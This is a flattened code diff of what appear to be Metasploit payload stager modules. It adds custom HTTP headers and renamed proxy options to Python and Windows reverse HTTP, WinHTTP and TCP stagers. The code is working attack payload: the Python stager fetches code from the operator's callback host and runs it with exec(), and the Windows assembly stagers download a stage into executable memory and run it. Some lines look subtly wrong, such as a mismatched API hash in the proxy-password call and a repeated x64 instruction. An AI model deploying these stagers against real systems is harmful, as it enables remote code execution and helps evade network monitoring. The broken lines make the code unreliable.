# patch in any optional stageless tcp socket setup # patch in any optional stageless tcp socket setup

View File

@ -11,11 +11,10 @@ module Payload::Python::ReverseHttp
def initialize(info = {}) def initialize(info = {})
super(info) super(info)
register_options( register_advanced_options(
[ Msf::Opt::http_header_options +
OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]), Msf::Opt::http_proxy_options
OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ]) )
], self.class)
end end
# #
@ -24,11 +23,14 @@ module Payload::Python::ReverseHttp
def generate(opts={}) def generate(opts={})
ds = opts[:datastore] || datastore ds = opts[:datastore] || datastore
opts.merge!({ opts.merge!({
host: ds['LHOST'] || '127.127.127.127', host: ds['LHOST'] || '127.127.127.127',
port: ds['LPORT'], port: ds['LPORT'],
proxy_host: ds['PayloadProxyHost'], proxy_host: ds['HttpProxyHost'],
proxy_port: ds['PayloadProxyPort'], proxy_port: ds['HttpProxyPort'],
user_agent: ds['MeterpreterUserAgent'] user_agent: ds['HttpUserAgent'],
header_host: ds['HttpHostHeader'],
header_cookie: ds['HttpCookie'],
header_referer: ds['HttpReferer']
}) })
opts[:scheme] = 'http' if opts[:scheme].nil? opts[:scheme] = 'http' if opts[:scheme].nil?
@ -104,9 +106,18 @@ module Payload::Python::ReverseHttp
cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n" cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
end end
headers = []
headers << "('User-Agent','#{var_escape.call(opts[:user_agent])}')"
headers << "('Cookie','#{var_escape.call(opts[:header_cookie])}')" if opts[:header_cookie]
headers << "('Referer','#{var_escape.call(opts[:header_referer])}')" if opts[:header_referer]
cmd << "o=ul.build_opener(*hs)\n" cmd << "o=ul.build_opener(*hs)\n"
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n" cmd << "o.addheaders=[#{headers.join(',')}]\n"
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n" if opts[:header_host]
cmd << "exec(o.open(ul.Request('#{generate_callback_url(opts)}',None,{'Host':'#{var_escape.call(opts[:header_host])}'})).read())\n"
else
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
end
py_create_exec_stub(cmd) py_create_exec_stub(cmd)
end end

View File

@ -18,11 +18,7 @@ module Payload::Python::ReverseTcp
def initialize(*args) def initialize(*args)
super super
register_advanced_options([ register_advanced_options(Msf::Opt::stager_retry_options)
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
aliases: ['ReverseConnectRetries']),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
], self.class)
end end
# #

View File

@ -17,11 +17,7 @@ module Payload::Python::ReverseTcpSsl
include Msf::Payload::Python::ReverseTcp include Msf::Payload::Python::ReverseTcp
def initialize(*args) def initialize(*args)
super super
register_advanced_options([ register_advanced_options(Msf::Opt::stager_retry_options)
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
aliases: ['ReverseConnectRetries']),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
], self.class)
end end
# #

View File

@ -56,16 +56,20 @@ module Msf::Payload::TransportConfig
ds = opts[:datastore] || datastore ds = opts[:datastore] || datastore
{ {
scheme: ds['OverrideScheme'] || 'http', scheme: ds['OverrideScheme'] || 'http',
lhost: opts[:lhost] || ds['LHOST'], lhost: opts[:lhost] || ds['LHOST'],
lport: (opts[:lport] || ds['LPORT']).to_i, lport: (opts[:lport] || ds['LPORT']).to_i,
uri: uri, uri: uri,
ua: ds['MeterpreterUserAgent'], ua: ds['HttpUserAgent'],
proxy_host: ds['PayloadProxyHost'], proxy_host: ds['HttpProxyHost'],
proxy_port: ds['PayloadProxyPort'], proxy_port: ds['HttpProxyPort'],
proxy_type: ds['PayloadProxyType'], proxy_type: ds['HttpProxyType'],
proxy_user: ds['PayloadProxyUser'], proxy_user: ds['HttpProxyUser'],
proxy_pass: ds['PayloadProxyPass'] proxy_pass: ds['HttpProxyPass'],
host: ds['HttpHostHeader'],
cookie: ds['HttpCookie'],
referer: ds['HttpReferer'],
custom_headers: get_custom_headers(ds)
}.merge(timeout_config(opts)) }.merge(timeout_config(opts))
end end
@ -80,6 +84,19 @@ module Msf::Payload::TransportConfig
private private
def get_custom_headers(ds)
headers = ""
headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
if headers.length > 0
headers
else
nil
end
end
def timeout_config(opts={}) def timeout_config(opts={})
ds = opts[:datastore] || datastore ds = opts[:datastore] || datastore
{ {

View File

@ -43,7 +43,8 @@ class Msf::Payload::UUID
24 => ARCH_AARCH64, 24 => ARCH_AARCH64,
25 => ARCH_MIPS64, 25 => ARCH_MIPS64,
26 => ARCH_PPC64LE, 26 => ARCH_PPC64LE,
27 => ARCH_R 27 => ARCH_R,
28 => ARCH_PPCE500V2
} }
Platforms = { Platforms = {
@ -253,6 +254,10 @@ class Msf::Payload::UUID
self.xor1 = opts[:xor1] self.xor1 = opts[:xor1]
self.xor2 = opts[:xor2] self.xor2 = opts[:xor2]
self.timestamp = nil
self.name = nil
self.registered = false
if opts[:seed] if opts[:seed]
self.puid = self.class.seed_to_puid(opts[:seed]) self.puid = self.class.seed_to_puid(opts[:seed])
end end
@ -366,6 +371,10 @@ class Msf::Payload::UUID
self self
end end
attr_accessor :registered
attr_accessor :timestamp
attr_accessor :name
attr_reader :arch attr_reader :arch
attr_reader :platform attr_reader :platform

View File

@ -27,17 +27,12 @@ module Payload::Windows::ReverseHttp
# #
def initialize(*args) def initialize(*args)
super super
register_advanced_options([ register_advanced_options(
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), [ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], Msf::Opt::stager_retry_options +
aliases: ['ReverseConnectRetries']), Msf::Opt::http_header_options +
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]), Msf::Opt::http_proxy_options
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), )
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
], self.class)
end end
# #
@ -47,22 +42,23 @@ module Payload::Windows::ReverseHttp
ds = opts[:datastore] || datastore ds = opts[:datastore] || datastore
conf = { conf = {
ssl: opts[:ssl] || false, ssl: opts[:ssl] || false,
host: ds['LHOST'], host: ds['LHOST'] || '127.127.127.127',
port: ds['LPORT'], port: ds['LPORT'],
retry_count: ds['StagerRetryCount'], retry_count: ds['StagerRetryCount'],
retry_wait: ds['StagerRetryWait'] retry_wait: ds['StagerRetryWait']
} }
# Add extra options if we have enough space # Add extra options if we have enough space
if self.available_space && required_space <= self.available_space if self.available_space.nil? || required_space <= self.available_space
conf[:url] = luri + generate_uri(opts) conf[:url] = luri + generate_uri(opts)
conf[:exitfunk] = ds['EXITFUNC'] conf[:exitfunk] = ds['EXITFUNC']
conf[:ua] = ds['MeterpreterUserAgent'] conf[:ua] = ds['HttpUserAgent']
conf[:proxy_host] = ds['PayloadProxyHost'] conf[:proxy_host] = ds['HttpProxyHost']
conf[:proxy_port] = ds['PayloadProxyPort'] conf[:proxy_port] = ds['HttpProxyPort']
conf[:proxy_user] = ds['PayloadProxyUser'] conf[:proxy_user] = ds['HttpProxyUser']
conf[:proxy_pass] = ds['PayloadProxyPass'] conf[:proxy_pass] = ds['HttpProxyPass']
conf[:proxy_type] = ds['PayloadProxyType'] conf[:proxy_type] = ds['HttpProxyType']
conf[:custom_headers] = get_custom_headers(ds)
else else
# Otherwise default to small URIs # Otherwise default to small URIs
conf[:url] = luri + generate_small_uri conf[:url] = luri + generate_small_uri
@ -71,6 +67,22 @@ module Payload::Windows::ReverseHttp
generate_reverse_http(conf) generate_reverse_http(conf)
end end
#
# Generate the custom headers string
#
def get_custom_headers(ds)
headers = ""
headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
if headers.length > 0
headers
else
nil
end
end
# #
# Generate and compile the stager # Generate and compile the stager
# #
@ -138,10 +150,23 @@ module Payload::Windows::ReverseHttp
# Proxy options? # Proxy options?
space += 200 space += 200
# Custom headers? Ugh, impossible to tell
space += 512
# The final estimated size # The final estimated size
space space
end end
#
# Convert a string into a NULL-terminated ASCII byte array
#
def asm_generate_ascii_array(str)
(str.to_s + "\x00").
unpack("C*").
map{ |c| "0x%.2x" % c }.
join(",")
end
# #
# Generate an assembly stub with the configured feature set and options. # Generate an assembly stub with the configured feature set and options.
# #
@ -155,6 +180,7 @@ module Payload::Windows::ReverseHttp
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username # @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password # @option opts [String] :proxy_pass The optional proxy server password
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request # @option opts [Integer] :retry_wait The seconds to wait before retry a new request
# #
@ -181,6 +207,8 @@ module Payload::Windows::ReverseHttp
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user] proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass] proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
http_open_flags = 0 http_open_flags = 0
secure_flags = 0 secure_flags = 0
@ -222,10 +250,10 @@ module Payload::Windows::ReverseHttp
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ... push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack. push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "wininet" ) call ebp ; LoadLibraryA( "wininet" )
xor ebx, ebx ; Set ebx to NULL to use in future arguments xor ebx, ebx ; Set ebx to NULL to use in future arguments
^ ^
if proxy_enabled if proxy_enabled
asm << %Q^ asm << %Q^
@ -238,7 +266,7 @@ module Payload::Windows::ReverseHttp
; LPCTSTR lpszProxyName (via call) ; LPCTSTR lpszProxyName (via call)
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
push ebx ; LPCTSTR lpszAgent (NULL) push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
call ebp call ebp
^ ^
else else
@ -249,7 +277,7 @@ module Payload::Windows::ReverseHttp
push ebx ; LPCTSTR lpszProxyName (NULL) push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0) push ebx ; DWORD dwAccessType (PRECONFIG = 0)
push ebx ; LPCTSTR lpszAgent (NULL) push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
call ebp call ebp
^ ^
end end
@ -267,10 +295,10 @@ module Payload::Windows::ReverseHttp
db "#{opts[:url]}", 0x00 db "#{opts[:url]}", 0x00
got_server_host: got_server_host:
push eax ; HINTERNET hInternet (still in eax from InternetOpenA) push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
call ebp call ebp
mov esi, eax ; Store hConnection in esi mov esi, eax ; Store hConnection in esi
^ ^
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it # Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
# doesn't set the Proxy-Authorization header on the CONNECT request. # doesn't set the Proxy-Authorization header on the CONNECT request.
@ -286,7 +314,7 @@ module Payload::Windows::ReverseHttp
; LPVOID lpBuffer (username from previous call) ; LPVOID lpBuffer (username from previous call)
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
push esi ; hConnection push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call ebp call ebp
^ ^
end end
@ -302,7 +330,7 @@ module Payload::Windows::ReverseHttp
; LPVOID lpBuffer (password from previous call) ; LPVOID lpBuffer (password from previous call)
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
push esi ; hConnection push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) push #{Rex::Text.block_api_hash('wininet.dll', 'HttpAddRequestHeaders')}
call ebp call ebp
^ ^
end end
@ -317,7 +345,7 @@ module Payload::Windows::ReverseHttp
push edi ; server URI push edi ; server URI
push ebx ; method push ebx ; method
push esi ; hConnection push esi ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
call ebp call ebp
xchg esi, eax ; save hHttpRequest in esi xchg esi, eax ; save hHttpRequest in esi
^ ^
@ -334,7 +362,6 @@ module Payload::Windows::ReverseHttp
send_request: send_request:
^ ^
if opts[:ssl] if opts[:ssl]
asm << %Q^ asm << %Q^
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
@ -345,7 +372,7 @@ module Payload::Windows::ReverseHttp
push eax ; &dwFlags push eax ; &dwFlags
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest push esi ; hHttpRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call ebp call ebp
^ ^
end end
@ -354,17 +381,32 @@ module Payload::Windows::ReverseHttp
httpsendrequest: httpsendrequest:
push ebx ; lpOptional length (0) push ebx ; lpOptional length (0)
push ebx ; lpOptional (NULL) push ebx ; lpOptional (NULL)
push ebx ; dwHeadersLength (0) ^
push ebx ; lpszHeaders (NULL)
if custom_headers
asm << %Q^
push -1 ; dwHeadersLength (assume NULL terminated)
call get_req_headers ; lpszHeaders (pointer to the custom headers)
db #{custom_headers}
get_req_headers:
^
else
asm << %Q^
push ebx ; HeadersLength (0)
push ebx ; Headers (NULL)
^
end
asm << %Q^
push esi ; hHttpRequest push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
call ebp call ebp
test eax,eax test eax,eax
jnz allocate_memory jnz allocate_memory
set_wait: set_wait:
push #{retry_wait} ; dwMilliseconds push #{retry_wait} ; dwMilliseconds
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
call ebp ; Sleep( dwMilliseconds ); call ebp ; Sleep( dwMilliseconds );
^ ^
@ -404,7 +446,7 @@ module Payload::Windows::ReverseHttp
push 0x1000 ; MEM_COMMIT push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us) push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep: download_prep:
@ -418,7 +460,7 @@ module Payload::Windows::ReverseHttp
push 8192 ; read length push 8192 ; read length
push ebx ; buffer push ebx ; buffer
push esi ; hRequest push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
call ebp call ebp
test eax,eax ; download failed? (optional?) test eax,eax ; download failed? (optional?)

View File

@ -21,7 +21,7 @@ module Payload::Windows::ReverseWinHttp
def initialize(*args) def initialize(*args)
super super
register_advanced_options([ register_advanced_options([
OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true]) OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])
], self.class) ], self.class)
end end
@ -29,24 +29,26 @@ module Payload::Windows::ReverseWinHttp
# Generate the first stage # Generate the first stage
# #
def generate(opts={}) def generate(opts={})
ds = opts[:datastore] || datastore
conf = { conf = {
ssl: opts[:ssl] || false, ssl: opts[:ssl] || false,
host: datastore['LHOST'] || '127.127.127.127', host: ds['LHOST'] || '127.127.127.127',
port: datastore['LPORT'] port: ds['LPORT']
} }
# Add extra options if we have enough space # Add extra options if we have enough space
if self.available_space && required_space <= self.available_space if self.available_space.nil? || required_space <= self.available_space
conf[:uri] = luri + generate_uri conf[:uri] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC'] conf[:exitfunk] = ds['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:verify_cert_hash] = opts[:verify_cert_hash]
conf[:proxy_host] = datastore['PayloadProxyHost'] conf[:proxy_host] = ds['HttpProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort'] conf[:proxy_port] = ds['HttpProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_user] = ds['HttpProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_pass] = ds['HttpProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType'] conf[:proxy_type] = ds['HttpProxyType']
conf[:retry_count] = datastore['StagerRetryCount'] conf[:retry_count] = ds['StagerRetryCount']
conf[:proxy_ie] = datastore['PayloadProxyIE'] conf[:proxy_ie] = ds['HttpProxyIE']
conf[:custom_headers] = get_custom_headers(ds)
else else
# Otherwise default to small URIs # Otherwise default to small URIs
conf[:uri] = luri + generate_small_uri conf[:uri] = luri + generate_small_uri
@ -93,6 +95,9 @@ module Payload::Windows::ReverseWinHttp
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31 space += 31
# Custom headers? Ugh, impossible to tell
space += 512 * 2
# The final estimated size # The final estimated size
space space
end end
@ -167,6 +172,8 @@ module Payload::Windows::ReverseWinHttp
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user]) proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass]) proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
http_open_flags = 0 http_open_flags = 0
secure_flags = 0 secure_flags = 0
@ -434,8 +441,23 @@ module Payload::Windows::ReverseWinHttp
push ebx ; TotalLength [6] push ebx ; TotalLength [6]
push ebx ; OptionalLength (0) [5] push ebx ; OptionalLength (0) [5]
push ebx ; Optional (NULL) [4] push ebx ; Optional (NULL) [4]
^
if custom_headers
asm << %Q^
push -1 ; dwHeadersLength (assume NULL terminated) [3]
call get_req_headers ; lpszHeaders (pointer to the custom headers) [2]
db #{custom_headers}
get_req_headers:
^
else
asm << %Q^
push ebx ; HeadersLength (0) [3] push ebx ; HeadersLength (0) [3]
push ebx ; Headers (NULL) [2] push ebx ; Headers (NULL) [2]
^
end
asm << %Q^
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1] push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')} push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
call ebp call ebp

View File

@ -27,17 +27,12 @@ module Payload::Windows::ReverseHttp_x64
# #
def initialize(*args) def initialize(*args)
super super
register_advanced_options([ register_advanced_options(
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), [ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], Msf::Opt::stager_retry_options +
aliases: ['ReverseConnectRetries']), Msf::Opt::http_header_options +
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]), Msf::Opt::http_proxy_options
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), )
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
], self.class)
end end
def transport_config(opts={}) def transport_config(opts={})
@ -52,22 +47,23 @@ module Payload::Windows::ReverseHttp_x64
conf = { conf = {
ssl: opts[:ssl] || false, ssl: opts[:ssl] || false,
host: ds['LHOST'], host: ds['LHOST'] || '127.127.127.127',
port: ds['LPORT'], port: ds['LPORT'],
retry_count: ds['StagerRetryCount'], retry_count: ds['StagerRetryCount'],
retry_wait: ds['StagerRetryWait'] retry_wait: ds['StagerRetryWait']
} }
# add extended options if we do have enough space # add extended options if we do have enough space
if self.available_space && required_space <= self.available_space if self.available_space.nil? || required_space <= self.available_space
conf[:url] = luri + generate_uri(opts) conf[:url] = luri + generate_uri(opts)
conf[:exitfunk] = ds['EXITFUNC'] conf[:exitfunk] = ds['EXITFUNC']
conf[:ua] = ds['MeterpreterUserAgent'] conf[:ua] = ds['HttpUserAgent']
conf[:proxy_host] = ds['PayloadProxyHost'] conf[:proxy_host] = ds['HttpProxyHost']
conf[:proxy_port] = ds['PayloadProxyPort'] conf[:proxy_port] = ds['HttpProxyPort']
conf[:proxy_user] = ds['PayloadProxyUser'] conf[:proxy_user] = ds['HttpProxyUser']
conf[:proxy_pass] = ds['PayloadProxyPass'] conf[:proxy_pass] = ds['HttpProxyPass']
conf[:proxy_type] = ds['PayloadProxyType'] conf[:proxy_type] = ds['HttpProxyType']
conf[:custom_headers] = get_custom_headers(ds)
else else
# Otherwise default to small URIs # Otherwise default to small URIs
conf[:url] = luri + generate_small_uri conf[:url] = luri + generate_small_uri
@ -76,6 +72,22 @@ module Payload::Windows::ReverseHttp_x64
generate_reverse_http(conf) generate_reverse_http(conf)
end end
#
# Generate the custom headers string
#
def get_custom_headers(ds)
headers = ""
headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
if headers.length > 0
headers
else
nil
end
end
# #
# Generate and compile the stager # Generate and compile the stager
# #
@ -89,6 +101,7 @@ module Payload::Windows::ReverseHttp_x64
pop rbp ; rbp now contains the block API pointer pop rbp ; rbp now contains the block API pointer
#{asm_reverse_http(opts)} #{asm_reverse_http(opts)}
^ ^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end end
@ -137,10 +150,23 @@ module Payload::Windows::ReverseHttp_x64
# Proxy options? # Proxy options?
space += 200 space += 200
# Custom headers? Ugh, impossible to tell
space += 512
# The final estimated size # The final estimated size
space space
end end
#
# Convert a string into a NULL-terminated ASCII byte array
#
def asm_generate_ascii_array(str)
(str.to_s + "\x00").
unpack("C*").
map{ |c| "0x%.2x" % c }.
join(",")
end
# #
# Generate an assembly stub with the configured feature set and options. # Generate an assembly stub with the configured feature set and options.
# #
@ -154,6 +180,7 @@ module Payload::Windows::ReverseHttp_x64
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username # @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password # @option opts [String] :proxy_pass The optional proxy server password
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request # @option opts [Integer] :retry_wait The seconds to wait before retry a new request
# #
@ -180,6 +207,8 @@ module Payload::Windows::ReverseHttp_x64
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user] proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass] proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
http_open_flags = 0 http_open_flags = 0
set_option_flags = 0 set_option_flags = 0
@ -327,17 +356,15 @@ module Payload::Windows::ReverseHttp_x64
if retry_count > 0 if retry_count > 0
asm << %Q^ asm << %Q^
push #{retry_count} push #{retry_count}
pop rdi pop rdi
^ ^
end end
asm << %Q^ asm << %Q^
retryrequest: retryrequest:
^ ^
if opts[:ssl] if opts[:ssl]
asm << %Q^ asm << %Q^
internetsetoption: internetsetoption:
@ -351,15 +378,30 @@ module Payload::Windows::ReverseHttp_x64
pop r9 ; dwBufferLength (4 = size of flags) pop r9 ; dwBufferLength (4 = size of flags)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call rbp call rbp
xor r8, r8 ; dwHeadersLen (0)
^ ^
end end
asm << %Q^ if custom_headers
httpsendrequest: asm << %Q^
mov rcx, rsi ; hRequest (request handle) call get_req_headers ; lpszHeaders (pointer to the custom headers)
db #{custom_headers}
get_req_headers:
pop rdx ; lpszHeaders
dec r8 ; dwHeadersLength (assume NULL terminated)
^
else
asm << %Q^
push rbx push rbx
pop rdx ; lpszHeaders (NULL) pop rdx ; lpszHeaders (NULL)
xor r8, r8 ; dwHeadersLen (0) ^
end
asm << %Q^
mov rcx, rsi ; hRequest (request handle)
xor r9, r9 ; lpszVersion (NULL)
xor r9, r9 ; lpszVersion (NULL) xor r9, r9 ; lpszVersion (NULL)
push rbx ; stack alignment push rbx ; stack alignment
push rbx ; dwOptionalLength (0) push rbx ; dwOptionalLength (0)

View File

@ -22,7 +22,7 @@ module Payload::Windows::ReverseWinHttp_x64
def initialize(*args) def initialize(*args)
super super
register_advanced_options([ register_advanced_options([
OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true]) OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])
], self.class) ], self.class)
end end
@ -30,24 +30,26 @@ module Payload::Windows::ReverseWinHttp_x64
# Generate the first stage # Generate the first stage
# #
def generate(opts={}) def generate(opts={})
ds = opts[:datastore] || datastore
conf = { conf = {
ssl: opts[:ssl] || false, ssl: opts[:ssl] || false,
host: datastore['LHOST'] || '127.127.127.127', host: ds['LHOST'] || '127.127.127.127',
port: datastore['LPORT'] port: ds['LPORT']
} }
# Add extra options if we have enough space # Add extra options if we have enough space
if self.available_space && required_space <= self.available_space if self.available_space.nil? || required_space <= self.available_space
conf[:uri] = luri + generate_uri conf[:uri] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC'] conf[:exitfunk] = ds['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:verify_cert_hash] = opts[:verify_cert_hash]
